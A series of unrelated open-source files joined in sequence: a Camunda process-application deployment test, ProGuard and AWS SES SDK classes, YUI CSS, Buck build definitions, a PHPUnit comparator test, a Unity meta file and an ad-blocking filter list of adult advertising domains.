registerProcessEngine() { runtimeContainerDelegate.registerProcessEngine(processEngine); defaultEngineRegistered = true; } @Before public void setUp() throws Exception { defaultEngineRegistered = false; } @After public void tearDown() { if (defaultEngineRegistered) { runtimeContainerDelegate.unregisterProcessEngine(processEngine); } } @Test public void testDeployAppWithoutEngine() { TestApplicationWithoutEngine processApplication = new TestApplicationWithoutEngine(); processApplication.deploy(); processApplication.undeploy(); } @Test public void testDeployAppWithoutProcesses() { registerProcessEngine(); TestApplicationWithoutProcesses processApplication = new TestApplicationWithoutProcesses(); processApplication.deploy(); ProcessEngine processEngine = BpmPlatform.getProcessEngineService().getDefaultProcessEngine(); long deployments = processEngine.getRepositoryService().createDeploymentQuery().count(); assertEquals(0, deployments); processApplication.undeploy(); } @Test public void testDeployAppWithCustomEngine() { TestApplicationWithCustomEngine processApplication = new TestApplicationWithCustomEngine(); processApplication.deploy(); ProcessEngine processEngine = BpmPlatform.getProcessEngineService().getProcessEngine("embeddedEngine"); assertNotNull(processEngine); assertEquals("embeddedEngine", processEngine.getName()); ProcessEngineConfiguration configuration = ((ProcessEngineImpl) processEngine).getProcessEngineConfiguration(); // assert engine properties specified assertTrue(configuration.isJobExecutorDeploymentAware()); assertTrue(configuration.isJobExecutorPreferTimerJobs()); assertTrue(configuration.isJobExecutorAcquireByDueDate()); assertEquals(5, configuration.getJdbcMaxActiveConnections()); processApplication.undeploy(); } @Test public void testDeployAppWithCustomDefaultEngine() { // Test if it's possible to set a custom default engine name. // This might happen when the "default" ProcessEngine is not available, // but a ProcessApplication doesn't define a ProcessEngine to deploy to. String processApplicationName = "test-app"; String customEngineName = "customDefaultEngine"; TestApplicationWithCustomDefaultEngine processApplication = new TestApplicationWithCustomDefaultEngine(); processApplication.deploy(); String deployedToProcessEngineName = runtimeContainerDelegate.getProcessApplicationService() .getProcessApplicationInfo(processApplicationName) .getDeploymentInfo() .get(0) .getProcessEngineName(); assertEquals(customEngineName, processApplication.getDefaultDeployToEngineName()); assertEquals(customEngineName, deployedToProcessEngineName); processApplication.undeploy(); } @Test public void testDeployAppReusingExistingEngine() { registerProcessEngine(); TestApplicationReusingExistingEngine processApplication = new TestApplicationReusingExistingEngine(); processApplication.deploy(); assertEquals(1, repositoryService.createDeploymentQuery().count()); processApplication.undeploy(); assertEquals(0, repositoryService.createDeploymentQuery().count()); } @Test public void testDeployAppWithAdditionalResourceSuffixes() { registerProcessEngine(); TestApplicationWithAdditionalResourceSuffixes processApplication = new TestApplicationWithAdditionalResourceSuffixes(); processApplication.deploy(); Deployment deployment = repositoryService.createDeploymentQuery().singleResult(); assertNotNull(deployment); List<Resource> deploymentResources = repositoryService.getDeploymentResources(deployment.getId()); assertEquals(4, deploymentResources.size()); processApplication.undeploy(); assertEquals(0, repositoryService.createDeploymentQuery().count()); } @Test public void testDeployAppWithResources() { registerProcessEngine(); TestApplicationWithResources processApplication = new TestApplicationWithResources(); processApplication.deploy(); Deployment deployment = repositoryService.createDeploymentQuery().singleResult(); assertNotNull(deployment); List<Resource> deploymentResources = repositoryService.getDeploymentResources(deployment.getId()); assertEquals(4, deploymentResources.size()); processApplication.undeploy(); assertEquals(0, repositoryService.createDeploymentQuery().count()); } @Test public void testDeploymentSourceProperty() { registerProcessEngine(); TestApplicationWithResources processApplication = new TestApplicationWithResources(); processApplication.deploy(); Deployment deployment = repositoryService.createDeploymentQuery().singleResult(); assertNotNull(deployment); assertEquals(ProcessApplicationDeployment.PROCESS_APPLICATION_DEPLOYMENT_SOURCE, deployment.getSource()); processApplication.undeploy(); } @Test public void testDeployProcessApplicationWithNameAttribute() { TestApplicationWithCustomName pa = new TestApplicationWithCustomName(); pa.deploy(); Set<String> deployedPAs = runtimeContainerDelegate.getProcessApplicationService().getProcessApplicationNames(); assertEquals(1, deployedPAs.size()); assertTrue(deployedPAs.contains(TestApplicationWithCustomName.NAME)); pa.undeploy(); } @Test public void testDeployWithTenantIds() { registerProcessEngine(); TestApplicationWithTenantId processApplication = new TestApplicationWithTenantId(); processApplication.deploy(); List<Deployment> deployments = repositoryService .createDeploymentQuery() .orderByTenantId() .asc() .list(); assertEquals(2, deployments.size()); assertEquals("tenant1", deployments.get(0).getTenantId()); assertEquals("tenant2", deployments.get(1).getTenantId()); processApplication.undeploy(); } @Test public void testDeployWithoutTenantId() { registerProcessEngine(); TestApplicationWithResources processApplication = new TestApplicationWithResources(); processApplication.deploy(); Deployment deployment = repositoryService.createDeploymentQuery().singleResult(); assertNotNull(deployment); assertNull(deployment.getTenantId()); processApplication.undeploy(); } }
{ "pile_set_name": "Github" }
{ "desc": "Huawei K4606 composite", "type": "mbim" }
{ "pile_set_name": "Github" }
/* * ProGuard -- shrinking, optimization, obfuscation, and preverification * of Java bytecode. * * Copyright (c) 2002-2009 Eric Lafortune (eric@graphics.cornell.edu) * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 2 of the License, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ package proguard.classfile.attribute.visitor; import proguard.classfile.*; import proguard.classfile.attribute.*; import proguard.classfile.util.SimplifiedVisitor; import proguard.classfile.visitor.*; /** * This ClassVisitor, MemberVisitor, and AttributeVisitor lets a given * AttributeVisitor visit all Attribute objects of the program classes, * program class members, or code attributes, respectively, that it visits. * * @author Eric Lafortune */ public class AllAttributeVisitor extends SimplifiedVisitor implements ClassVisitor, MemberVisitor, AttributeVisitor { private final boolean deep; private final AttributeVisitor attributeVisitor; /** * Creates a new shallow AllAttributeVisitor. * @param attributeVisitor the AttributeVisitor to which visits will be * delegated. */ public AllAttributeVisitor(AttributeVisitor attributeVisitor) { this(false, attributeVisitor); } /** * Creates a new optionally deep AllAttributeVisitor. * @param deep specifies whether the attributes contained * further down the class structure should be * visited too. * @param attributeVisitor the AttributeVisitor to which visits will be * delegated. */ public AllAttributeVisitor(boolean deep, AttributeVisitor attributeVisitor) { this.deep = deep; this.attributeVisitor = attributeVisitor; } // Implementations for ClassVisitor. public void visitProgramClass(ProgramClass programClass) { programClass.attributesAccept(attributeVisitor); // Visit the attributes further down the class structure, if required. if (deep) { programClass.fieldsAccept(this); programClass.methodsAccept(this); programClass.attributesAccept(this); } } public void visitLibraryClass(LibraryClass libraryClass) {} // Implementations for MemberVisitor. public void visitProgramMember(ProgramClass programClass, ProgramMember programMember) { programMember.attributesAccept(programClass, attributeVisitor); // Visit the attributes further down the member structure, if required. if (deep) { programMember.attributesAccept(programClass, this); } } public void visitLibraryMember(LibraryClass programClass, LibraryMember programMember) {} // Implementations for AttributeVisitor. public void visitAnyAttribute(Clazz clazz, Attribute attribute) {} public void visitCodeAttribute(Clazz clazz, Method method, CodeAttribute codeAttribute) { codeAttribute.attributesAccept(clazz, method, attributeVisitor); } }
{ "pile_set_name": "Github" }
/* YUI 3.7.3 (build 5687) Copyright 2012 Yahoo! Inc. All rights reserved. Licensed under the BSD License. http://yuilibrary.com/license/ */ .yui3-u-1,.yui3-u-1-2,.yui3-u-1-3,.yui3-u-2-3,.yui3-u-1-4,.yui3-u-3-4,.yui3-u-1-5,.yui3-u-2-5,.yui3-u-3-5,.yui3-u-4-5,.yui3-u-1-6,.yui3-u-5-6,.yui3-u-1-8,.yui3-u-3-8,.yui3-u-5-8,.yui3-u-7-8,.yui3-u-1-12,.yui3-u-5-12,.yui3-u-7-12,.yui3-u-11-12,.yui3-u-1-24,.yui3-u-5-24,.yui3-u-7-24,.yui3-u-11-24,.yui3-u-13-24,.yui3-u-17-24,.yui3-u-19-24,.yui3-u-23-24{display:inline-block;zoom:1;*display:inline;letter-spacing:normal;word-spacing:normal;vertical-align:top}.yui3-u-1{display:block}.yui3-u-1-2{width:50%}.yui3-u-1-3{width:33.33333%}.yui3-u-2-3{width:66.66666%}.yui3-u-1-4{width:25%}.yui3-u-3-4{width:75%}.yui3-u-1-5{width:20%}.yui3-u-2-5{width:40%}.yui3-u-3-5{width:60%}.yui3-u-4-5{width:80%}.yui3-u-1-6{width:16.656%}.yui3-u-5-6{width:83.33%}.yui3-u-1-8{width:12.5%}.yui3-u-3-8{width:37.5%}.yui3-u-5-8{width:62.5%}.yui3-u-7-8{width:87.5%}.yui3-u-1-12{width:8.3333%}.yui3-u-5-12{width:41.6666%}.yui3-u-7-12{width:58.3333%}.yui3-u-11-12{width:91.6666%}.yui3-u-1-24{width:4.1666%}.yui3-u-5-24{width:20.8333%}.yui3-u-7-24{width:29.1666%}.yui3-u-11-24{width:45.8333%}.yui3-u-13-24{width:54.1666%}.yui3-u-17-24{width:70.8333%}.yui3-u-19-24{width:79.1666%}.yui3-u-23-24{width:95.8333%}#yui3-css-stamp.cssgrids-units{display:none}
{ "pile_set_name": "Github" }
package concurrent import ( "os" "log" "io/ioutil" ) // ErrorLogger is used to print out error, can be set to writer other than stderr var ErrorLogger = log.New(os.Stderr, "", 0) // InfoLogger is used to print informational message, default to off var InfoLogger = log.New(ioutil.Discard, "", 0)
{ "pile_set_name": "Github" }
/* * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ /* * Do not modify this file. This file is generated from the email-2010-12-01.normal.json service model. */ using System; using System.Collections.Generic; using System.Globalization; using System.IO; using System.Text; using System.Xml.Serialization; using Amazon.SimpleEmail.Model; using Amazon.Runtime; using Amazon.Runtime.Internal; using Amazon.Runtime.Internal.Transform; using Amazon.Runtime.Internal.Util; namespace Amazon.SimpleEmail.Model.Internal.MarshallTransformations { /// <summary> /// SendBulkTemplatedEmail Request Marshaller /// </summary> public class SendBulkTemplatedEmailRequestMarshaller : IMarshaller<IRequest, SendBulkTemplatedEmailRequest> , IMarshaller<IRequest,AmazonWebServiceRequest> { /// <summary> /// Marshaller the request object to the HTTP request. /// </summary> /// <param name="input"></param> /// <returns></returns> public IRequest Marshall(AmazonWebServiceRequest input) { return this.Marshall((SendBulkTemplatedEmailRequest)input); } /// <summary> /// Marshaller the request object to the HTTP request. /// </summary> /// <param name="publicRequest"></param> /// <returns></returns> public IRequest Marshall(SendBulkTemplatedEmailRequest publicRequest) { IRequest request = new DefaultRequest(publicRequest, "Amazon.SimpleEmail"); request.Parameters.Add("Action", "SendBulkTemplatedEmail"); request.Parameters.Add("Version", "2010-12-01"); if(publicRequest != null) { if(publicRequest.IsSetConfigurationSetName()) { request.Parameters.Add("ConfigurationSetName", StringUtils.FromString(publicRequest.ConfigurationSetName)); } if(publicRequest.IsSetDefaultTags()) { int publicRequestlistValueIndex = 1; foreach(var publicRequestlistValue in publicRequest.DefaultTags) { if(publicRequestlistValue.IsSetName()) { request.Parameters.Add("DefaultTags" + "." + "member" + "." + publicRequestlistValueIndex + "." + "Name", StringUtils.FromString(publicRequestlistValue.Name)); } if(publicRequestlistValue.IsSetValue()) { request.Parameters.Add("DefaultTags" + "." + "member" + "." + publicRequestlistValueIndex + "." + "Value", StringUtils.FromString(publicRequestlistValue.Value)); } publicRequestlistValueIndex++; } } if(publicRequest.IsSetDefaultTemplateData()) { request.Parameters.Add("DefaultTemplateData", StringUtils.FromString(publicRequest.DefaultTemplateData)); } if(publicRequest.IsSetDestinations()) { int publicRequestlistValueIndex = 1; foreach(var publicRequestlistValue in publicRequest.Destinations) { if(publicRequestlistValue.IsSetDestination()) { if(publicRequestlistValue.Destination.IsSetBccAddresses()) { int publicRequestlistValueDestinationlistValueIndex = 1; foreach(var publicRequestlistValueDestinationlistValue in publicRequestlistValue.Destination.BccAddresses) { request.Parameters.Add("Destinations" + "." + "member" + "." + publicRequestlistValueIndex + "." + "Destination" + "." + "BccAddresses" + "." + "member" + "." + publicRequestlistValueDestinationlistValueIndex, StringUtils.FromString(publicRequestlistValueDestinationlistValue)); publicRequestlistValueDestinationlistValueIndex++; } } if(publicRequestlistValue.Destination.IsSetCcAddresses()) { int publicRequestlistValueDestinationlistValueIndex = 1; foreach(var publicRequestlistValueDestinationlistValue in publicRequestlistValue.Destination.CcAddresses) { request.Parameters.Add("Destinations" + "." + "member" + "." + publicRequestlistValueIndex + "." + "Destination" + "." + "CcAddresses" + "." + "member" + "." + publicRequestlistValueDestinationlistValueIndex, StringUtils.FromString(publicRequestlistValueDestinationlistValue)); publicRequestlistValueDestinationlistValueIndex++; } } if(publicRequestlistValue.Destination.IsSetToAddresses()) { int publicRequestlistValueDestinationlistValueIndex = 1; foreach(var publicRequestlistValueDestinationlistValue in publicRequestlistValue.Destination.ToAddresses) { request.Parameters.Add("Destinations" + "." + "member" + "." + publicRequestlistValueIndex + "." + "Destination" + "." + "ToAddresses" + "." + "member" + "." + publicRequestlistValueDestinationlistValueIndex, StringUtils.FromString(publicRequestlistValueDestinationlistValue)); publicRequestlistValueDestinationlistValueIndex++; } } } if(publicRequestlistValue.IsSetReplacementTags()) { int publicRequestlistValuelistValueIndex = 1; foreach(var publicRequestlistValuelistValue in publicRequestlistValue.ReplacementTags) { if(publicRequestlistValuelistValue.IsSetName()) { request.Parameters.Add("Destinations" + "." + "member" + "." + publicRequestlistValueIndex + "." + "ReplacementTags" + "." + "member" + "." + publicRequestlistValuelistValueIndex + "." + "Name", StringUtils.FromString(publicRequestlistValuelistValue.Name)); } if(publicRequestlistValuelistValue.IsSetValue()) { request.Parameters.Add("Destinations" + "." + "member" + "." + publicRequestlistValueIndex + "." + "ReplacementTags" + "." + "member" + "." + publicRequestlistValuelistValueIndex + "." + "Value", StringUtils.FromString(publicRequestlistValuelistValue.Value)); } publicRequestlistValuelistValueIndex++; } } if(publicRequestlistValue.IsSetReplacementTemplateData()) { request.Parameters.Add("Destinations" + "." + "member" + "." + publicRequestlistValueIndex + "." + "ReplacementTemplateData", StringUtils.FromString(publicRequestlistValue.ReplacementTemplateData)); } publicRequestlistValueIndex++; } } if(publicRequest.IsSetReplyToAddresses()) { int publicRequestlistValueIndex = 1; foreach(var publicRequestlistValue in publicRequest.ReplyToAddresses) { request.Parameters.Add("ReplyToAddresses" + "." + "member" + "." + publicRequestlistValueIndex, StringUtils.FromString(publicRequestlistValue)); publicRequestlistValueIndex++; } } if(publicRequest.IsSetReturnPath()) { request.Parameters.Add("ReturnPath", StringUtils.FromString(publicRequest.ReturnPath)); } if(publicRequest.IsSetReturnPathArn()) { request.Parameters.Add("ReturnPathArn", StringUtils.FromString(publicRequest.ReturnPathArn)); } if(publicRequest.IsSetSource()) { request.Parameters.Add("Source", StringUtils.FromString(publicRequest.Source)); } if(publicRequest.IsSetSourceArn()) { request.Parameters.Add("SourceArn", StringUtils.FromString(publicRequest.SourceArn)); } if(publicRequest.IsSetTemplate()) { request.Parameters.Add("Template", StringUtils.FromString(publicRequest.Template)); } if(publicRequest.IsSetTemplateArn()) { request.Parameters.Add("TemplateArn", StringUtils.FromString(publicRequest.TemplateArn)); } } return request; } private static SendBulkTemplatedEmailRequestMarshaller _instance = new SendBulkTemplatedEmailRequestMarshaller(); internal static SendBulkTemplatedEmailRequestMarshaller GetInstance() { return _instance; } /// <summary> /// Gets the singleton. /// </summary> public static SendBulkTemplatedEmailRequestMarshaller Instance { get { return _instance; } } } }
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: bf02fe81984c06347aae1cd42504154b PluginImporter: externalObjects: {} serializedVersion: 2 iconMap: {} executionOrder: {} isPreloaded: 0 isOverridable: 0 platformData: - first: '': Any second: enabled: 0 settings: Exclude Android: 1 Exclude Editor: 1 Exclude Linux: 1 Exclude Linux64: 1 Exclude LinuxUniversal: 1 Exclude OSXUniversal: 1 Exclude WebGL: 1 Exclude Win: 1 Exclude Win64: 1 Exclude WindowsStoreApps: 0 Exclude iOS: 1 - first: Android: Android second: enabled: 0 settings: CPU: ARMv7 - first: Any: second: enabled: 0 settings: {} - first: Editor: Editor second: enabled: 0 settings: CPU: AnyCPU DefaultValueInitialized: true OS: AnyOS - first: Facebook: Win second: enabled: 0 settings: CPU: AnyCPU - first: Facebook: Win64 second: enabled: 0 settings: CPU: AnyCPU - first: Standalone: Linux second: enabled: 0 settings: CPU: x86 - first: Standalone: Linux64 second: enabled: 0 settings: CPU: x86_64 - first: Standalone: LinuxUniversal second: enabled: 0 settings: CPU: None - first: Standalone: OSXUniversal second: enabled: 0 settings: CPU: AnyCPU - first: Standalone: Win second: enabled: 0 settings: CPU: AnyCPU - first: Standalone: Win64 second: enabled: 0 settings: CPU: AnyCPU - first: Windows Store Apps: WindowsStoreApps second: enabled: 1 settings: CPU: ARM DontProcess: False PlaceholderPath: SDK: UWP ScriptingBackend: AnyScriptingBackend - first: iPhone: iOS second: enabled: 0 settings: CompileFlags: FrameworkDependencies: userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
# Helpers for referring to React Native open source code. # # This lets us build React Native: # - At Facebook by running buck from the root of the fb repo # - Outside of Facebook by running buck in the root of the git repo import os # Example: react_native_target('java/com/facebook/react/common:common') def react_native_target(path): return '//ReactAndroid/src/main/' + path # Example: react_native_tests_target('java/com/facebook/react/modules:modules') def react_native_tests_target(path): return '//ReactAndroid/src/test/' + path # Example: react_native_integration_tests_target('java/com/facebook/react/testing:testing') def react_native_integration_tests_target(path): return '//ReactAndroid/src/androidTest/' + path # Helper for referring to non-RN code from RN OSS code. # Example: react_native_dep('java/com/facebook/systrace:systrace') def react_native_dep(path): return '//ReactAndroid/src/main/' + path JSC_DEPS = [ '//native/third-party/jsc:jsc', '//native/third-party/jsc:jsc_legacy_profiler', ] JSC_INTERNAL_DEPS = [ '//native/third-party/jsc-internal:jsc', '//native/third-party/jsc-internal:jsc_legacy_profiler', ] FBGLOGINIT_TARGET = '//ReactAndroid/src/main/jni/first-party/fbgloginit:fbgloginit' INTERNAL_APP = 'PUBLIC' # React property preprocessor original_android_library=android_library def android_library( name, deps=[], annotation_processors=[], annotation_processor_deps=[], *args, **kwargs): common_processors = [ 'com.facebook.react.processing.ReactPropertyProcessor', ] common_processor_deps = [ react_native_target('java/com/facebook/react/processing:processing'), ] if react_native_target('java/com/facebook/react/uimanager/annotations:annotations') in deps and name != 'processing': annotation_processors = list(set(annotation_processors + common_processors)) annotation_processor_deps = list(set(annotation_processor_deps + common_processor_deps)) original_android_library( name=name, deps=deps, annotation_processors=annotation_processors, annotation_processor_deps=annotation_processor_deps, *args, **kwargs) def robolectric3_test(name, deps, vm_args=None, *args, **kwargs): vm_args = vm_args or [] # We may need to create buck-out/gen/ if we're running after buck clean. tmp = 'buck-out/gen/' + get_base_path() + '/__java_test_' + name + '_output__' extra_vm_args = [ '-XX:+UseConcMarkSweepGC', # required by -XX:+CMSClassUnloadingEnabled '-XX:+CMSClassUnloadingEnabled', '-XX:ReservedCodeCacheSize=150M', '-Drobolectric.dependency.dir=buck-out/gen/ReactAndroid/src/main/third-party/java/robolectric3/robolectric', '-Dlibraries=buck-out/gen/ReactAndroid/src/main/third-party/java/robolectric3/robolectric/*.jar', '-Drobolectric.logging.enabled=true', '-XX:MaxPermSize=620m', '-Drobolectric.offline=true', ] if os.path.isdir("/dev/shm"): extra_vm_args.append('-Djava.io.tmpdir=/dev/shm') else: extra_vm_args.append( '-Djava.io.tmpdir=%s' % os.path.join(os.path.abspath('.'), 'buck-out/bin')) # defined in BUCK robolectric_test( name=name, deps=deps, vm_args=vm_args + extra_vm_args, *args, **kwargs )
{ "pile_set_name": "Github" }
<?php /* * This file is part of the Comparator package. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use SplObjectStorage; use stdClass; /** * @coversDefaultClass SebastianBergmann\Comparator\SplObjectStorageComparator * */ class SplObjectStorageComparatorTest extends \PHPUnit_Framework_TestCase { private $comparator; protected function setUp() { $this->comparator = new SplObjectStorageComparator; } public function acceptsFailsProvider() { return array( array(new SplObjectStorage, new stdClass), array(new stdClass, new SplObjectStorage), array(new stdClass, new stdClass) ); } public function assertEqualsSucceedsProvider() { $object1 = new stdClass(); $object2 = new stdClass(); $storage1 = new SplObjectStorage(); $storage2 = new SplObjectStorage(); $storage3 = new SplObjectStorage(); $storage3->attach($object1); $storage3->attach($object2); $storage4 = new SplObjectStorage(); $storage4->attach($object2); $storage4->attach($object1); return array( array($storage1, $storage1), array($storage1, $storage2), array($storage3, $storage3), array($storage3, $storage4) ); } public function assertEqualsFailsProvider() { $object1 = new stdClass; $object2 = new stdClass; $storage1 = new SplObjectStorage; $storage2 = new SplObjectStorage; $storage2->attach($object1); $storage3 = new SplObjectStorage; $storage3->attach($object2); $storage3->attach($object1); return array( array($storage1, $storage2), array($storage1, $storage3), array($storage2, $storage3), ); } /** * @covers ::accepts */ public function testAcceptsSucceeds() { $this->assertTrue( $this->comparator->accepts( new SplObjectStorage, new SplObjectStorage ) ); } /** * @covers ::accepts * @dataProvider acceptsFailsProvider */ public function testAcceptsFails($expected, $actual) { $this->assertFalse( $this->comparator->accepts($expected, $actual) ); } /** * @covers ::assertEquals * @dataProvider assertEqualsSucceedsProvider */ public function testAssertEqualsSucceeds($expected, $actual) { $exception = null; try { $this->comparator->assertEquals($expected, $actual); } catch (ComparisonFailure $exception) { } $this->assertNull($exception, 'Unexpected ComparisonFailure'); } /** * @covers ::assertEquals * @dataProvider assertEqualsFailsProvider */ public function testAssertEqualsFails($expected, $actual) { $this->setExpectedException( 'SebastianBergmann\\Comparator\\ComparisonFailure', 'Failed asserting that two objects are equal.' ); $this->comparator->assertEquals($expected, $actual); } }
{ "pile_set_name": "Github" }
||0gw7e6s3wrao9y3q.pro^$third-party ||123advertising.nl^$third-party ||15yomodels.com^$third-party ||18naked.com^$third-party ||1loop.com^$third-party ||21sexturycash.com^$third-party ||247teencash.net^$third-party ||24smile.org^$third-party ||24x7adservice.com^$third-party ||2kl08cd74f.com^$third-party ||3gporn.biz^$third-party ||4jpf0karrejn6yla.pro^$third-party ||4link.it^$third-party ||4us.pw^$third-party ||750industries.com^$third-party ||777-partner.com^$third-party ||777-partner.net^$third-party ||777-partners.com^$third-party ||777-partners.net^$third-party ||777partner.com^$third-party ||777partner.net^$third-party ||777partners.com^$third-party ||7cxcrejm.com^$third-party ||9content.com^$third-party ||aappf.pt^$third-party ||ab4tn.com^$third-party ||abakys.ru^$third-party ||abbp1.pw^$third-party ||abgeobalancer.com^$third-party ||abusedbabysitters.com^$third-party ||acmexxx.com^$third-party ||actionlocker.com^$third-party ||ad-u.com^$third-party ||ad4partners.com^$third-party ||adbmi.com^$third-party ||adcell.de^$third-party ||addbags.com^$third-party ||adenabler.com^$third-party ||adfux.com^$third-party ||adhealers.com^$third-party ||adjunky.com^$third-party ||adlook.net^$third-party ||admez.com^$third-party ||adnetxchange.com^$third-party ||adnico.jp^$third-party ||adpron.com^$third-party ||adrecreate.com^$third-party ||adrenovate.com^$third-party ||adrent.net^$third-party ||adrevenuerescue.com^$third-party ||ads4xxx.com^$third-party ||adsbr.info^$third-party ||adserved.net^$third-party ||adsession.com^$third-party ||adsgangsta.com^$third-party ||adskape.ru^$third-party ||adspyglass.com^$third-party ||adswam.com^$third-party ||adsyst.biz^$third-party ||adtng.com^$third-party ||adtonement.com^$third-party ||adult3dcomics.com^$third-party ||adultaccessnow.com^$third-party ||adultadvertising.net^$third-party ||adultcamchatfree.com^$third-party ||adultcamfree.com^$third-party ||adultcamliveweb.com^$third-party ||adultcommercial.net^$third-party ||adultdatingtraffic.com^$third-party ||adultforce.com^$third-party ||adultlinkexchange.com^$third-party ||adultmediabuying.com^$third-party ||adultmoviegroup.com^$third-party ||adultoafiliados.com.br^$third-party ||adultsense.com^$third-party ||adultsense.org^$third-party ||adulttubetraffic.com^$third-party ||adv-plus.com^$third-party ||adv777.com^$third-party ||adventory.com^$third-party ||adversolutions.com^$third-party ||advertisingsex.com^$third-party ||advertom.com^$third-party ||advertrtb.com^$third-party ||advmaker.ru^$third-party ||advmania.com^$third-party ||advredir.com^$third-party ||advsense.info^$third-party ||adxite.com^$third-party ||adxmarket.com^$third-party ||adxpansion.com^$third-party ||adzs.com^$third-party ||aeesy.com^$third-party ||aemediatraffic.com^$third-party ||affiliatewindow.com^$third-party ||affiliaxe.com^$third-party ||affiligay.net^$third-party ||aipmedia.com^$third-party ||alahnavideos.pro^$third-party ||alfatraffic.com^$third-party ||all-about-tech.com^$third-party ||alladultcash.com^$third-party ||allosponsor.com^$third-party ||allotraffic.com^$third-party ||alwqfajh.com^$third-party ||amateurcouplewebcam.com^$third-party ||amtracking01.com^$third-party ||anastasia-international.com^$third-party ||andase.com^$third-party ||animeidhentai.com^$third-party ||antaraimedia.com^$third-party ||antoball.com^$third-party ||apromoweb.com^$third-party ||arlitasite.pro^$third-party ||artamkari.com^$third-party ||asiafriendfinder.com^$third-party ||asiangfsex.com^$third-party ||awemwh.com^$third-party ||awentw.com^$third-party ||aweprotostatic.com^$third-party ||aweprt.com^$third-party ||awept.com^$third-party ||awmpartners.com^$third-party ||awmserve.com^$third-party ||ax47mp-xp-21.com^$third-party ||aztecash.com^$third-party ||baconaces.pro^$third-party ||badgirlz.org^$third-party ||banclip.com^$third-party ||banerator.net^$third-party ||bcash4you.com^$third-party ||bd202457b.com^$third-party ||beavertron.com^$third-party ||belamicash.com^$third-party ||bestcontentjob.top^$third-party ||bestcontentservice.top^$third-party ||bestcontentuse.top^$third-party ||bestssn.com^$third-party ||betweendigital.com^$third-party ||bgmtracker.com^$third-party ||biosda.com^$third-party ||bitterstrawberry.org^$third-party ||black6adv.com^$third-party ||blackpics.net^$third-party ||blossoms.com^$third-party ||board-books.com^$third-party ||boffinsoft.com^$third-party ||boinkcash.com^$third-party ||bookofsex.com^$third-party ||bootstrap-framework.org^$third-party ||bouermes.be^$third-party ||bposterss.net^$third-party ||brothersincash.com^$third-party ||brqvld0p.com^$third-party ||bumblecash.com^$third-party ||bumskontakte.ch^$third-party ||bxgjpocfz1g1jiwb.pro^$third-party ||caltat.com^$third-party ||cam-lolita.net^$third-party ||cam4flat.com^$third-party ||camads.net^$third-party ||camcrush.com^$third-party ||camdough.com^$third-party ||camduty.com^$third-party ||cameraprive.com^$third-party ||campartner.com^$third-party ||camplacecash.com^$third-party ||camprime.com^$third-party ||campromos.nl^$third-party ||camsense.com^$third-party ||camsitecash.com^$third-party ||camsoda1.com^$third-party ||camzap.com^$third-party ||cash-program.com^$third-party ||cashlayer.com^$third-party ||cashthat.com^$third-party ||cdn7.network^$third-party ||cdn7.rocks^$third-party ||cdnaz.win^$third-party ||ceepq.com^$third-party ||celeb-ads.com^$third-party ||cennter.com^$third-party ||certified-apps.com^$third-party ||cfcloudcdn.com^$third-party ||chatinator.com^$third-party ||chopstick16.com^$third-party ||chtntr.com^$third-party ||citysex.com^$third-party ||clearac.com^$third-party ||clicadu.com^$third-party ||clickadu.com^$third-party ||clickaine.com^$third-party ||clickganic.com^$third-party ||clickpapa.com^$third-party ||clicksvenue.com^$third-party ||clickthruserver.com^$third-party ||clicktrace.info^$third-party ||clockdisplaystoring.com^$third-party ||cntrafficpro.com^$third-party ||coldhardcash.com^$third-party ||colpory.com^$third-party ||comproliverton.pro^$third-party ||comunicazio.com^$third-party ||contentabc.com^$third-party ||cpacoreg.com^$third-party ||cpl1.ru^$third-party ||cqlupb.com^$third-party ||crakbanner.com^$third-party ||crakcash.com^$third-party ||creoads.com^$third-party ||crocoads.com^$third-party ||cross-system.com^$third-party ||crptentry.com^$third-party ||crtracklink.com^$third-party ||ctyzd.com^$third-party ||cwgads.com^$third-party ||cybernetentertainment.com^$third-party ||d-agency.net^$third-party ||d0main.ru^$third-party ||d29gqcij.com^$third-party ||daffaite.com^$third-party ||daiporno.com^$third-party ||dallavel.com^$third-party ||dana123.com^$third-party ||danzabucks.com^$third-party ||data-ero-advertising.com^$third-party ||data-eroadvertising.com^$third-party ||datefunclub.com^$third-party ||datetraders.com^$third-party ||datexchanges.net^$third-party ||datingadnetwork.com^$third-party ||datingamateurs.com^$third-party ||datingcensored.com^$third-party ||datingidol.com^$third-party ||dbbp1.com^$third-party ||dblpmp.com^$third-party ||debitcrebit669.com^$third-party ||deecash.com^$third-party ||dejionsite.pro^$third-party ||demanier.com^$third-party ||dematom.com^$third-party ||digiad.co^$third-party ||digitaldesire.com^$third-party ||digreality.com^$third-party ||directadvert.ru^$third-party ||directchat.tv^$third-party ||direction-x.com^$third-party ||divascam.com^$third-party ||divertura.com^$third-party ||dlski.space^$third-party ||dosugcz.biz^$third-party ||double-check.com^$third-party ||doubleadserve.com^$third-party ||doublegear.com^$third-party ||dtiserv2.com^$third-party ||dtprofit.com^$third-party ||duroternout.info^$third-party ||eadulttraffic.com^$third-party ||easy-dating.org^$third-party ||easyaccess.mobi^$third-party ||easyflirt.com^$third-party ||ebdr2.com^$third-party ||ecortb.com^$third-party ||elekted.com^$third-party ||eqfgc.com^$third-party ||ergs4.com^$third-party ||eroadvertising.com^$third-party ||erosadv.com^$third-party ||erotikdating.com^$third-party ||erotizer.info^$third-party ||escortso.com^$third-party ||euro4ads.de^$third-party ||exchangecash.de^$third-party ||exclusivepussy.com^$third-party ||exogripper.com^$third-party ||exoticads.com^$third-party ||eyemedias.com^$third-party ||faceporn.com^$third-party ||facetz.net^$third-party ||fahdsite.pro^$third-party ||fapality.com^$third-party 